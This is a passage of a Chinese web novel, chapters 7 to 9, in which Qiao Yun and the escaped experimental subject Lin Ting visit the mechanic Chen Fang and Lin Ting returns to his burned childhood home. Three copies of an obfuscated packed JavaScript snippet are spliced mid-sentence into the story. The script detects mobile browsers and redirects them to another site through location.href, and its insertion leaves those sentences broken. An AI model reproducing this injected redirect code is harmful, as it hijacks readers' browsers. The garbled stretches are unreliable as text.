“我问你,你今天为什么要对给你打针的人说‘谢谢’?” 他回得很乖巧: “因为我妈教我要讲礼貌。” “……” 原来是个缺心眼儿。 乔韫生平第一次,竟被一个小孩儿堵得说不出话来。 她撇撇嘴,突然想起什么似的,嘴唇张开,无声“啊”了一下,变戏法一般,又掏出一板止痛药。 “喏,这个给你,止痛药。” 见九号眼里放光,郑重其事将其收好后,乔韫才补充说: “但我也不清楚你吃了会不会有副作用,没准这药和在你身上做的实验冲突,你一吃,嘎一下,就死那儿了。” 乔韫语调诙谐,没有半分恐吓的样子,反而将九号逗得吃吃发笑。 “我会好好活着的。” “这可不是你说了算的。” “……那我会让这件事归我说了算的。” 7. 旧友 国道旁的寒气渗进骨缝,乔韫碾灭烟蒂,火星在灰白的晨光里彻底熄灭。 她拉开车门坐进去,林听紧随其后,动作轻得像片影子,落在副驾。 引擎重新低吼起来。 乔韫握着方向盘,目光扫过林听的侧脸。 车驶上公路。 “还疼吗?”她突然开口。 林听似乎顿了一下,才转过脸看她,眼神清亮:“不疼了,”他说,“那药……很有用。” 乔韫“嗯”了一声,视线转回前方延伸的柏油路。 实验体体质特殊,劳拉西泮能镇住林听脑子里的神经风暴,这勉强算歪打正着。 算了,她对自己说,真有什么不对劲,再联系江城子那帮人也不迟。 ——虽然那通常是下下策。 破晓时分,灰扑扑的“柳城”路牌闯入视野。 城市在老旧的晨光中醒来,带着一种褪了色的疲惫。 柳城。 阳光在林听眼底投下阴影。 ……他出生的地方。 车在柳城迷宫般的老城区里穿行,七拐八绕,最终停在一个被岁月侵蚀得面目模糊的招牌前。 “下车。”乔韫熄了火,率先推门下去。 ——“老陈修车行”。 门口堆满了沾满油污的旧轮胎,其间散落着废弃的金属零件,空气里弥漫着浓重的机油和铁锈味。 乔韫站在那堆工业废料前,目光扫过那扇半开的卷帘门,如果没记错,很久以前,某个人说过,自己的梦想是找个鸟不拉屎的地方开修车行。 那时,乔韫曾毫不客气地拆穿他:都鸟不拉屎了,谁来照顾你的生意? 没想到,最后来光顾的,竟然是她自己。 陈放。 当年在组织里,乔韫和他,算是某种程度上的难兄难弟。 她是因为性格乖僻,像块捂不热的石头,看谁都不顺眼;陈放则纯粹是脑子里的构造和别人不一样——他对机械、对电路、对引擎轰鸣的热爱近乎痴狂,狂热到能把整辆突击车拆成一地零件,美其名曰“研究”,结果因为装不回去而捅出大篓子。 这种“天赋”带来不少麻烦,他由此成了组织里另一个被排挤的怪胎。 江临仙死后,是陈放把她最后的数据碎片,注入了每一辆DT3V的AI核心。 做完这件事,他就彻底消失在了组织的视线里。 江城子默许了他的离开,不仅如此,还为他暗中提供着保护。这才让陈放能在柳城开着他的破车行,守着他那些外人无法理解的“宝贝”。 乔韫深吸一口带着机油味的空气,抬脚跨过门槛。 一个瘦高的身影背对着门口,大半个身子埋进一辆拆了引擎盖的老捷达肚子里,只露出两条沾满油污的工装裤腿。 工具碰撞的叮当声在空旷的车间里回响。 “陈放。”乔韫的声音不高,却清晰地穿透了金属的敲击声。 敲击戛然而止。 那身影猛地顿住,然后迅速直起身,转了过来。 一张胡子拉碴的脸,在看到乔韫的瞬间,瞳孔骤然收缩。 “乔……乔韫?”陈放的声音带着难以置信的惊愕。 “你怎么找到这儿的?!” “当然是来找你帮忙啊,无事不登三宝殿嘛!”乔韫单刀直入,没理会他的震惊。 陈放将手里的扳手随意往地上一扔,朝乔韫走近几步,待到看清她身后的林听,才停了下来,眼神中带上一抹警惕。 “我还以为,你脱离组织后,就不会再有机会找我帮忙了。” “哎呀,”乔韫讪讪,“这不是巧了吗,江城子又给我喊回去办事了。” “所以这次是组织的任务?我不……” “是我自己的事。” 乔韫打断了他。 “陈放,帮忙在我那辆DT3V的GPS和追踪系统上动点手脚。要让它能正常导航,但让组织那套天网系统彻底抓瞎。另外,”她顿了顿,语气不容置疑,“把里面那个江临仙的AI,彻底移除。” “移除?!”陈放像是被踩了尾巴的猫,声音陡然拔高。 乔韫短短几句话,给出了超过陈放消化范围的信息量,他一时间冒出许多话想说,却不知从何说起。 “——你疯了还是我疯了?这不明摆着跟组织对着干嘛!况且那是我……”他后面的话像是被卡在了喉咙里,顿了顿,然后像下定决心似的: “不行,绝对不行!乔韫,我好不容易才从那个鬼地方爬出来,才不想他*的再卷进你们的破事里!滚滚滚,带着你的破车给我滚!” 乔韫看着他激动的样子,嘴角勾起一个笑。 “破事?”她语调平缓,吐出的话却半点不留情面,“陈放,你摸着良心问问,你能活到现在,在这堆废铜烂铁里做你的春秋大梦,靠的是谁?没有江城子在后面给你擦屁股兜底,你骨头渣子都被组织扬了八百遍了,装什么岁月静好? “这种事只有你能做,毕竟,不管你做什么,还有江城子负责保全你嘛, “——哪怕你真的做出和组织对着干的蠢事。 “对吧?” 陈放的脸瞬间涨红,像是被戳中了最隐秘的痛处,嘴唇哆嗦着,却一时找不到反驳的词,只能狠狠瞪着乔韫,胸膛剧烈起伏。 乔韫懒得再跟他废话。 她从随身的挎包里掏出一沓钞票,啪地一声拍在旁边的工作台上。 纸钞边缘沾上一点黑色的油渍。 “定金。明天早上七点,我来取车。”她的语气斩钉截铁,没有丝毫商量的余地。 说完,她看也不看陈放变幻的脸色,转身就走,干脆利落得如同她来时一样。 “……操。” “乔韫,你他*当我是神仙吗?!嗖一下就能给你变一辆新车出来?!”陈放在她身后气急败坏地吼着,声音在空旷的车间里嗡嗡作响,“那系统有多复杂你知不知道?!一天?!三天,给我三天行不行?!” 乔韫的脚步没有丝毫停顿,身影已经快消失在卷帘门透进来的光线里。 “两天!乔韫,就两天!不能再少了!”陈放的声音带上了几分气急败坏的哀求,追着她的背影喊道。 回答他的,只有乔韫彻底消失在卷帘门后的脚步声。 “我*,她有病吧。” 旅馆前台,一只昏黄的白炽灯泡在屋顶有气无力地亮着。 柜台后面,一个烫着过时卷发的中年女人正嗑着瓜子,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506304|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔韫二人进入,眼皮都没抬一下。 “一间房,住一晚。” 乔韫跨进门,声音与鞋尖一同落地。 没办法,她的小金库在陈放那儿销了大半,再不省着点用,油都要加不起了。 “五十。” 女人懒洋洋地报出价格,吐掉瓜子壳,终于撩起眼皮,目光在乔韫脸上扫了一圈,又落到她身后沉默挺拔的林听身上。 那眼神像探照灯,带着毫不掩饰的审视,以及……市井小民特有的、对八卦的敏锐直觉。 乔韫数出几张钞票,递给女人。 就在女人慢吞吞拉开抽屉翻找钥匙时,一直安静站在乔韫身后的林听,忽然微微倾身,凑近她耳边。 温热的呼吸拂过她的耳廓,声音轻得只有她能听见: “她在想,我们是不是偷偷私奔的小情侣。” 乔韫的眉梢动了一下。 她没回头,嘴角却勾起一抹玩味的弧度,学着林听的样子,压低声音,小声回道:“哦?那她眼光……还挺准?” 她刻意拖长了尾音,带着点促狭的调侃,目光却像带着钩子,斜斜瞥向林听的侧脸。 他的耳根在昏暗的光线下,似乎染上了一层极淡的薄红。 这时,女人终于摸出一把拴着褪色塑料牌的钥匙,“啪”地扔在柜台上。 “三楼,左转第一间。热水晚上九点后才有。” 楼梯间弥漫着一股潮湿的霉味,墙角结着蛛网,每踩一步,木质台阶就发出一声哀鸣。 乔韫攥着钥匙,步履缓慢——逃亡了一整夜,她的头发黏在颈间,白T贴在身上,整个人狼狈得连自己都觉得陌生。 “老板,”她在楼梯口停下,回头看向卷发女人,“热水能通一下吗?就十分钟。” 女人正低头数着手里的钞票,闻言眼皮一抬,像看傻子似的瞥了她一眼,瓜子壳“呸”地吐在地上。 “这电热水器烧半小时才够一个人洗,你当电费不要钱?水管不要维护?五十块钱的房还想享受星级服务?想洗澡等九点后,不想等就滚蛋!” 乔韫闻言,下意识皱起眉头。 林听站在她身后,往前半步,似乎想反驳,手腕却被乔韫猛地攥住。 “算了。”乔韫扯着他往三楼走,声音压得极低,“别跟她吵。这种小旅馆,老板的记性比谁都好,特殊时刻,别给人留印象。” 林听的脚步顿了顿,最终还是被她拽着往前走去。 301房门被钥匙捅开,发出刺耳的“咔哒”声。 房间比想象中更破:墙壁上的墙纸卷着边,露出底下灰白色的水泥,唯一的窗户蒙着层厚厚的灰,阳光透进来也只剩一片昏沉。 空气中,淡淡的霉味和烟味混合,不难闻,但实在说不上令人愉快。 乔韫毫不介意似的,把背包往床上一扔,径直走向卫生间。 她拧开淋浴龙头,一股细弱的水流“哗哗”落下,溅在地面,发出空洞的声响。 “我洗个冷水澡。”她散开头发,将皮筋放在桌上,语气随意。 “乔韫。”林听的声音响起。 他站在房间中央,身形被昏沉的光线拉得很长:“我们现在处境危险,为什么要找江城子的人帮忙?” 8. 睡觉 乔韫的动作顿了顿,转过身靠在卫生间门框上,挑眉看他: “陈放不是江城子那边的人。他俩的过节,说起来能写一本狗血小说。” 她理理头发,直起身,往床边走去,打开包,开始翻找衣物:“我车上那个AI,叫江临仙,是江城子的亲妹妹。当年在组里,陈放、江临仙,还有我,算是走得近的。陈放那家伙,对着机器能说一天话,见了人就结巴,唯独在江临仙面前,话能多几句。” 林听安静地听着,眼神落在她脸上,没有打断。 “四年前,江临仙想逃。”乔韫的声音沉了些,“其实她有机会成功的。只要江城子当时稍微松松手,在监控上做点手脚,或者拖延一下追捕时间,她就能彻底消失。毕竟是亲妹妹,谁都以为他会睁一只眼闭一只眼。” “但他没有。”乔韫嗤笑一声,带着浓浓的讽刺,“江城子亲自带队追的,在边境把人堵了个正着。他给江临仙戴手铐的时候,脸上一点表情都没有,比抓我时还冷漠。 “第二天,消息传回来——江临仙在禁闭室自尽了。” 卫生间的水滴声突然变得格外清晰,敲在瓷砖上,莫名带来一点寒意。 “从那以后,陈放就跟江城子彻底反目。”乔韫继续说。 “组里的人都知道,陈放暗恋江临仙,藏得再深,眼神骗不了人。他开始疯狂拆组里的设备、故意搞砸任务,摆明了不想干。有意思的是,江城子没处置他,反而暗中放他走了,还压下了所有想找陈放麻烦的人。” 她收拾好衣物,站起身,走到卫生间门口:“早不护着晚不护着,等人都死了,倒想起要保护妹妹的‘朋友’了。 “说到底,最后受伤害的,只有江临仙一个。” 林听始终没说话,像在消化这些复杂的过往。 乔韫摆摆手,转身要进卫生间,脚刚跨过门槛又停住,回头冲他眨了眨眼,语气带着点恶作剧般的调侃: “不过陈放也没好到哪儿去。 “他车库里有个秘密空间,里面全是以江临仙为蓝本的AI模型,从初代机械臂到最新的仿生皮肤,堆得跟小山似的。 “这些东西造价昂贵,所以陈放需要钱,只要给钱,让他做什么,他都答应。 “如此隐私的‘小癖好’,组里同样人尽皆知——江城子依然在盯着他。 “我们都一样。从进组织那天起,头顶就悬着无数双眼睛,想真正逃出去?难。” 说完,她拉上卫生间的门,把自己锁进那片狭小的空间里。 水声哗哗响起。 她洗得很快,从头到脚冲了一遍,连头发都没好好揉,五分钟就收拾完毕,推开了门。 “你去洗吧,冷水能忍吗?”她一边用毛巾擦着湿漉漉的头发,一边朝林听说。 林听点点头,走进卫生间。 乔韫把手机从包里摸出来,屏幕亮起时,一条微信消息弹了出来,是江城子。 [到柳城了?] 她指尖悬在屏幕上,刚要回复,擦头发的动作却顿住了——手不小心碰到了耳后的信号干扰器,那点冰凉的触感让她忽然愣神。 这东西戴了快一天,她居然快习惯了它的存在。 如果林听趁她睡着时摘下它呢? 乔韫低头看着自己的手腕,那里还残留着被他攥住时的温度。 以他的速度和力量,要摘走一个小小的干扰器,简直易如反掌,而她或许真的不会有半点察觉。 【有何不可?】 乔韫脑子里猛地冒出这个念头。 让林听摘下干扰器,得知他被欺骗的事实,让他知道“自由”是个多虚无缥缈的词,有何不可? 或者,更进一步,让林听杀了自己,有何不…… 不行。 “哈……”乔韫发出一声短促的笑,像在自嘲。 她又在胡思乱想了。 乔韫甩了甩头,把这念头抛开,目光聚焦在江城子发来的信息上。 然后,在对话框里敲了个“嗯”。 消息发出去还没两秒,江城子的回复就来了。 [找陈放改车?] 乔韫的眉头瞬间蹙起。 ——她最讨厌这种被人完全掌握行踪的感觉,仿佛自己的每一步都踩在对方画好的格子里。 但她还是回了个“是”。 在江城子继续发问前,她抢先打字:[五号怎么回事?她当时的反应不对劲。] 这次江城子回复得慢了些。 屏幕上方的“正在输入中”闪了很久,才跳出一行字: [她的大脑里移植了六号的模拟芯片。现在的五号,既是五号,也是六号。] 乔韫的呼吸一滞。 一个人怎么可能同时是两个人? 她想象不出那种机体运作方式——是记忆共享?还是人格交替?或者像两个灵魂被塞进同一个躯壳里,日夜撕扯? 她清楚地记得,在基地楼梯间里,那句鬼魅般的“姐姐”。 是六号。 乔韫的后背瞬间爬上一层冷汗。 如果五号就是六号,那当时她挥刀砍过来的瞬间,或许是真的想杀了自己。毕竟,六号的死,与她脱不了干系。 事情变得越来越麻烦了。 江城子没再发消息过来。乔韫盯着手机屏幕看了几秒,把聊天框删掉,心里只有一个念头:必须尽快离开柳城,越快越好。 她点开社交软件,一边思考,一边机械地刷着博文,手指划过美食视频、旅游攻略,忽然,一则广告跳了出来——“东林圣地,洗涤心灵”。 东林。 国内有名的宗教圣地。 乔韫适时地想起江城子的“建议”,一丝微妙的叛逆涌上心头。 对乔韫而言,“叛逆”从来不是“不去”,而是“去”。 她叛逆的对象是自己。 就去东林。 乔韫刚打定主意,卫生间的门开了。 林听走了出来,身上还带着水汽,头发湿漉漉地滴着水。 乔韫的目光顿住了。 他没穿衣服。 赤衤果的上身线条流畅而结实,水珠顺着锁骨滑进胸膛,腹肌的轮廓在昏沉的光线下若隐若现,皮肤白皙,透着常年训练留下的紧实感。 乔韫有一瞬间的惊讶,随即又觉得理所当然。 实验体在基地里习惯了衤果露监测,对“穿衣”这件事大概没什么概念。 像是同乔韫的猜测对着干似的,林听淡淡发问:“还有衣服吗?” 乔韫这才意识到,林听也是需要换洗衣物的。 不能怪她,她活了二十八年,连朋友都没两个,更遑论照顾别人。她应声转身,往包里翻找起来。 她的确为林听准备了套衣服,目的无他,单纯担心江城子的审美。 毕竟林听漂亮得跟个洋娃娃似的,如果套上江城子那个大直男准备的丑衣服,乔韫担心自己跑路跑一半,最终忍无可忍,将林听扔下车。 她买了件黑色的衬衫,以为会很适合林听。 但相处小半天下来……乔韫觉得,他可能更适合穿白的。 她把衣服往林听怀里一扔:“赶紧穿上,穿好过来给我吹头发。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506305|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话音刚落,就听见“啪嗒”一声。 ——衣服掉在了地上。 紧接着,“咚”的一声闷响,林听单膝跪在了她面前。 他的眼角红得厉害,眉头却紧紧锁着,唇色苍白。 “林听?!” 乔韫匆匆迈到林听身侧,半跪着,手掌覆上林听的肩头,掌心的凉意激得林听猛地瑟缩了一下。 他闷哼一声,本就苍白的脸更添一分脆弱:“头疼……” 乔韫眉头紧紧拧在一起,暗自估摸了下时间。 距离上次吃药,已经快十个小时了。 药效过了? 她几乎要冷笑出声。 什么“九号”,什么“神经进化”,什么“读心怪物”,结果呢? 离了基地那个无菌罩子,连个头疼都扛不住,跟那个日休眠十八小时的“残次品”五号比起来,也就半斤八两。 还得像伺候精神病人似的,掐着点儿给他喂药续命。 “事儿真多。” 一股说不清是烦躁还是别的什么情绪顶上来,乔韫手上力道加重,几乎是半拖半拽,将人弄到那张吱呀作响的单人床边,一把摁了下去。 林听脱力般跌坐在床沿,头垂得更低,浓密的睫毛在眼下投出一片阴翳,呼吸有些急促。 乔韫转身,动作粗暴地拉开自己那个帆布包,在一堆杂物里面精准地摸出那板银光闪闪的胶囊——这次她看得真切,是止痛药。 她指尖用力,“啪啪”两声脆响,两粒白色的小药片被掰了下来。 乔韫俯下身,阴影笼罩住床上的人影。 没有杯子,没有水。 她直接伸出手,捏住林听的下巴,迫使他微微抬起头。 “张嘴。” 林听顺从地微启双唇,露出一点洁白的齿尖,嘴唇有些干燥,失了血色。 乔韫指尖捏着药片,毫不犹豫地塞了进去,指腹不可避免地碾过林听下唇,力道不算轻柔。 就在这瞬间,乔韫的动作顿了一下。 一股奇异的触感顺着指尖,猝不及防窜了上来。 软。 不是实验台上冰冷器械的触感,也不是防弹玻璃的坚硬,是……活生生的,属于人类血肉的柔软。 甚至比普通人的唇瓣更饱满一些。 像花瓣。 乔韫飞快地收回手,指尖的触感却挥之不去,带着点烫人的错觉。 她面无表情地直起身。 “咽下去。”声音恢复了惯常的冷硬,带着一丝命令的口吻,像是在掩饰什么。 林听喉结滚动了一下,从善如流地吞下药片,没有发出任何声音,只是闭了闭眼,眼睫微颤。 药效作用得很快,林听的呼吸渐渐变得绵长而均匀,那张在清醒时总带着几分或乖巧或茫然的漂亮面孔,此刻只剩下全然的宁静。 乔韫草草抓过自己那块半湿的毛巾,往不再滴水的头发上胡乱擦了几下。 湿毛巾贴上脖颈,带来一阵寒意。 她看着林听的睡颜,连打了好几个哈欠。 太累了。 乔韫再次环顾了一下这间连张椅子都欠奉的陋室,没有犹豫,径直走到床边,毫不客气地挨着林听身侧坐了下来,身体往后一靠,倚在了冰冷的墙壁和温热的躯体之间。 单人床的空间实在有限,她的手臂不可避免地贴到了林听的身体,隔着薄薄的衣料,能感受到对方的呼吸起伏。 乔韫调整了一个稍微舒服点的姿势,头歪向一边,几乎挨着林听的肩膀,闭上了眼睛。 窗外的光线渐渐黯淡。 9. 夜访 廉价旅馆的隔音极差,隔壁带着电流声的电视音断断续续传来。 林听就是在这样的背景音中,缓缓睁开了眼睛。 实验体需要的睡眠本就比常人短得多,更何况是“九号”这样经过高度“优化”的存在。 药效压制了头疼,几个小时的深度睡眠足以让他回复绝大部分精力。 他维持着躺卧的姿势,眼珠微动,视线便落在了身侧的女人身上。 乔韫睡得很沉,几缕黑发凌乱地贴在脸颊和颈侧。 此刻,她卸下了清醒时所有的防备、讥诮和算计,眉头微蹙,似乎即使在睡梦中,也带着挥之不去的倦怠与不安。 林听静静地看着她。 白日里那些或羞赧、或温顺、或试探的眼神,此刻消失得无影无踪。 他的眼底在此刻没有任何波澜。 林听的目光缓缓移动,最终定格在乔韫耳廓后方,那个泛着金属冷光的微型装置上。 信号干扰器。 它像一枚冰冷的铆钉,牢牢钉在那里,隔绝着他与她意识之间最直接的联系。 林听的手,缓缓抬了起来。修长的手指在昏暗中划过一道细微的弧线,目标明确地伸向那枚小小的干扰器。 指尖在离它不到一厘米的地方停住,悬停着。 像在思考。 空气中只有隔壁电视隐约的嘈杂和两人交错的呼吸声。 指尖最终没有落下。 它移开了,转而轻轻拂过乔韫脸颊旁散落的发丝,动作极其轻柔,仿佛怕惊扰了什么。他将那些碍事的发丝拢到她的耳后,动作带着与眼神截然相反的细致。 林听小心地坐起身,下床,穿好衣物。 然后,轻手轻脚地挪到床边,俯下身,双臂小心地穿过乔韫的颈后和膝弯,以一个标准的公主抱姿势,将她整个人托了起来。 他动作平稳地将乔韫放在床上还算平整的地方,拉过的薄被,仔细地盖到她胸口。 随即,他转身,像一道无声的影子,悄无声息地拉开了房门,闪身出去。 咔哒。 门锁落下的轻响在寂静的房间里格外清晰。 在门锁合拢的瞬间,床上,乔韫紧闭的双眼猛地睁开。 她侧过头,目光如炬,投向那扇紧闭的门板。 他要去哪儿? 柳城的老城区住的多是些早睡早起的老人,不过傍晚,街上便已难觅人影。 林听来到老陈修车行门前。 卷帘门已经拉下,落着锁。 门口堆积的金属废料静静躺在原地,林听将目光扫过它们,忖度片刻,弯腰,从里面捡起一根半尺长、拇指粗细的实心金属,掂量了一下。 冰冷的触感从指尖蔓延。 他拎着金属条,走到卷帘门的锁孔前,将左手食指轻轻覆在锁上,感受着锁芯内部的构造。 片刻后,林听握住那根金属条,五指骤然发力。 金属扭曲的滋呀声在寂静的街道上显得格外刺耳。 那根坚硬的金属条,在他的指力下如同被高温熔化的蜡,扭曲、变形、延展。 摩擦产生的热量传递到他指尖,一股皮肉烧焦的糊味弥漫开来。 林听连眉头都没皱一下,仿佛那灼痛不存在。 他将捏好的“钥匙”塞进锁孔。 咔哒。 锁芯应势弹开。 林听信手将“钥匙”丢开。 他右手指腹被高温灼得焦黑,皮肤翻起,露出底下粉红色的嫩肉。 ……有点痛。 他用左手掐起焦黑的皮,轻轻将其撕去,算是简单处理了一下。 然后,他扶住卷帘门底,往上一抬。 哗啦啦—— 门应声而开,露出里面充斥着浓重机油味的空间。 林听闪身而入,反手将卷帘门拉下。 修车行彻底陷入一片伸手不见五指的黑暗。 但这黑暗对林听来说并非阻碍。他的瞳孔在几秒钟内迅速适应了微光环境,眼前模糊的轮廓逐渐清晰:散落的工具、拆了一半的汽车骨架、堆叠的轮胎…… 一切都笼罩在死寂之中。 他没有开灯,目标明确地走到一侧墙壁前,将手掌紧贴住粗糙的墙面,一寸寸地沿着墙面移动。手指划过凸起的砖缝,发出极其细微的沙沙声。 突然,他的指尖在移动到某个特定区域时,感受到了一丝极其细微的不同。 ——触感更平滑,而且…… 他屈起指节,在那块区域的不同位置轻轻叩击了几下。 叩、叩、叩…… 声音空洞。 就是这里。 林听停下脚步,站在那块隐藏着秘密的墙面前。 该怎么做? 最简单直接的方式,无非是调动力量,一拳将这层伪装轰开。以他的能力,这并非难事。但动静太大,而且会留下无法掩饰的破坏痕迹,必然惊动陈放,甚至可能触发未知的警报。 他微微偏头,似乎在权衡利弊。 然而,就在他思索的瞬间,一股熟悉的且尖锐的刺痛毫无预兆地再次击中他的太阳穴。 “呃……” 一声压抑的闷哼从他喉咙里溢出。 头痛。 奇怪,他距上次吃药明明才不到六个小时,按理说,应该能挺满十个小时。 时效在缩短? 剧痛让他的反应慢了一拍。 【抓到你了!】 林听瞳孔骤然收缩,心中警铃大作,但身体的迟滞已经无法挽回。 他头顶上方传来一阵极其轻微的机括转动声。 不好! 哐当——!!! 一个由粗壮钢筋焊接而成的铁笼,如捕兽夹般,以迅雷不及掩耳之势,从天而降,精准地将他罩在了正中央。 铁笼重重砸在地上,激起一片灰尘。 与此同时,“啪”地一声,修车行顶上的几盏大功率白炽灯骤然亮起。 一时间,整个车间如同白昼。 林听被强光刺得下意识眯了眯眼。 他站在铁笼中央,额角的冷汗混着灰尘滑下,腰背依旧挺得笔直。 他的眼神有如深潭,冷冷地看向光源旁边。 陈放的身影从一堆废旧轮胎的阴影里慢慢踱了出来。 “身手不错啊,小老弟。” 陈放的声音在空旷的车间回荡。 “天快黑了,你又是撬我门锁,又是摸我墙壁的……怎么,乔韫派你来验收改装进度?”他顿了顿,声线变得冷漠,“或者说,你另有所图?” 林听脸上不见半点被抓包的窘迫,平静得像是做客时不小心走错了房间: “我来问路。” “……” 陈放脸上的肌肉明显抽搐了一下,他上下打量着林听,眼神像是在看一个神经病。 【撬锁进来问路?这他*是什么新型行为艺术吗???和乔韫混在一起的果然都他*脑子有病。】 林听清晰地听到了陈放的腹诽,仍旧面不改色,甚至补充道: “我要去朝阳公馆。在柳城,我‘认识’的人只有你。” “呵。”陈放冷笑出声,“哪个正经人撬人家房门进来问路……你把我当傻子吗?” 他双手抱臂,目光如钩子般钉在林听脸上。 “你最好老老实实交代清楚,毕竟,你的命现在在我手里,我可不会看在乔韫的面子上手下留情。” 林听闻言,没有说话,只是伸出双手,握住了眼前的金属栏杆。 陈放:? 下一秒。 嘎吱——呀—— 林听的手臂肌肉微微贲起,没有发出任何声音,动作缓慢,优雅得像只是撕开一块面包。 坚固的钢筋栅栏便被他扯开一个豁口,发出令人抓狂的刺耳声音。 林听没有停顿,只是稍一侧身,从容不迫地钻过豁口,走了出来。 “现在,我的命在我自己手里了——可以问路了吗?” “………………” 【卧*!卧******!!!】 【这他*是什么怪物?!老天爷你给我干哪儿来了,这还是人吗……实验体???】 【完了完了完了,乔韫这疯女人到底惹了什么事儿啊?她死定了,她绝对死定了!……】 【不不不,现在看来,好像是我死的更快啊!!!】 林听对他的恐惧置若罔闻,郑重其事,又将问句重复了一遍。 “我可以问路了吗?” 陈放看着眼前这个非人的存在,巨大的恐惧像一把巨大的手,攫住了他心脏。 可不知为何,在一阵极致的紧绷后,他的神经反而松弛了下来。 一种破罐子破摔的荒诞感涌上心头。 陈放深吸好几口气,才勉强找回自己的声音:“要我指路?行啊。但我现在更好奇另一个问题。” 他的目光重新锁定林听,“你来我这里,真的只是问个路这么简单?” 他指了指刚才林听摸索的那面墙:“你在找东西,对吧?或者……我说具体一点:在找我的‘密室’?” 林听沉默地看着他。昏黄的白炽灯光在他脸上投下明明暗暗的阴影,让他深邃的五官显得更加立体,也更为冷硬。 时间在两人无声的对峙中缓缓流淌。 终于,林听开口了:“我需要确认,你和江城子之间,是否真的像乔韫说的那样,彻底决裂了。” 陈放眉头紧锁:“什么意思?” “上午来时,我检索过你的修车行,的确没什么可疑的东西,但你的密室,我不确定。所以我得过来一趟。”林听的目光如同实质的探针,“乔韫信任你,或者说,她信任你和江城子的‘过节’。但我不信。我需要确保她的安全。” 陈放愣住了。 他仔仔细细地打量着林听,从头发丝盯到脚趾尖,一个荒谬却又无比合理的念头击中了他。 “哈……”陈放短促地笑了一声,“原来如此。” 他用一种近乎陈述句的语气,一字一顿地问: “你——喜欢乔韫?” 出乎意料的,林听没有任何犹豫,坦然迎着他的目光,肯定地点了点头。 陈放脸上的表情更加复杂了,他咂了咂嘴,像是琢磨着什么刻薄的话,但最终,欸说出口,只化作一声长长的叹息:“小子,看在你……嗯,这份‘赤诚’的份上,给你个忠告。” 他故作老成,带着一份过来人的沧桑,“离那个女人远点,她不是什么好人。她就是个疯子,一个为了自己那点无聊的‘乐子’能把所有人都拖进地狱的疯子。喜欢她?那你他*就是给自己找不痛快。” 林听眼神一凛。 他直勾勾地盯着陈放,那双深邃的眼眸里没有任何激烈的情绪,却叫陈放下意识舔了舔干涸的嘴唇。 “她不需要你来评判。” “……切!”陈放强行压下心头的寒意,故作不屑地撇了撇嘴。 【*的,狗咬吕洞宾!乔韫这丫头算捡着了……和实验体搞会不会太伤身啊?她就不能挑点正常人吗?】 林听敛眉,假装什么也没听见。 陈放嘴上飞快:“行行行,算我多嘴!朝阳公馆是吧?长庚路178号!不过……”他语气减缓,像在回忆,“那地方十几年前就被一把火烧了个精光,听说只剩个门匾和几根破柱子了。柳城政府穷得叮当响,长庚路又鸟不拉屎,就一直没管,荒到现在。” 他指了指门口:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林听的速度快得像一道融入夜色的风。五六公里的距离,在他脚下不过转瞬。很快,一个孤零零的、歪斜破败的巨大门匾出现在视野尽头。 “朝阳公馆”。 四个鎏金大字早已斑驳脱落,只剩下模糊的凹痕,在惨淡的月光下勉强可辨。 门匾斜挂在一根摇摇欲坠的水泥柱子上,柱体布满燎烧留下的狰狞焦痕,触目惊心。除此之外,目光所及,只有一片被野草吞噬的废墟。 断壁残垣在荒草中若隐若现,像大地上一道无法愈合的伤疤。 这就是他记忆里模糊的“家”。 曾经是。 他必须今晚来。明天一早,他就要跟着乔韫,再次踏上逃亡的路途,不知归期,甚至不知是否还有归途。 林听一步步走近那片废墟。脚步踩在碎石和枯枝上,发出细碎的声响。 最终,他在那块破败的门匾下停住,仰起头,看着那四个模糊的字迹。 对不起,妈妈。 这句无声的忏悔,沉重得如同巨石,压在他的心头,让他几乎喘不过气。 他缓缓低下头,目光落在脚下焦黑的土地。 轰——! 浓烟。 刺鼻的、灼热的、带着焚烧恶臭的浓烟,像翻滚的黑色巨蟒,吞噬了林听的视野。 “小听——!!!” 母亲凄厉的尖叫声穿透火焰的咆哮。 她像一道闪电般从客厅冲进厨房,脸上是前所未有的惊恐和绝望。她甚至没有看那失控的火源一眼,眼中只有被吓傻在原地的儿子。 气浪瞬间灼伤了她的皮肤和头发。 “别怕!妈妈在……妈妈在!” 她不顾一切地扑向林听,将他死死地护在怀里,抱起他,试图逃出烈焰。 太晚了。 林听被烟熏得眯起眼,抬头望去—— 房梁倒下来了。 砸中她的脊背。 火星飞溅,烧到林听的睫毛,他立马挣扎起来,眼泪涌出。 于是母亲将他死死按在怀里,林听的脸紧贴着她被汗水浸透又迅速被烤干的衣襟。 他的视线被挡住了,什么也看不见。 “妈妈……我不知道,我把蓝罐子上的旋钮拧下来了,我想给你看的……” 朝阳公馆太偏僻了。这栋老旧的公寓楼,消防设施形同虚设。最近的消防栓,远在几百米外的街角。 火势蔓延的速度快得超乎想象,贪婪的火焰顺着楼梯和走廊疯狂向上攀爬,吞噬着一切可燃物,将整栋楼变成了一个巨大的熔炉。 没有人回应林听。 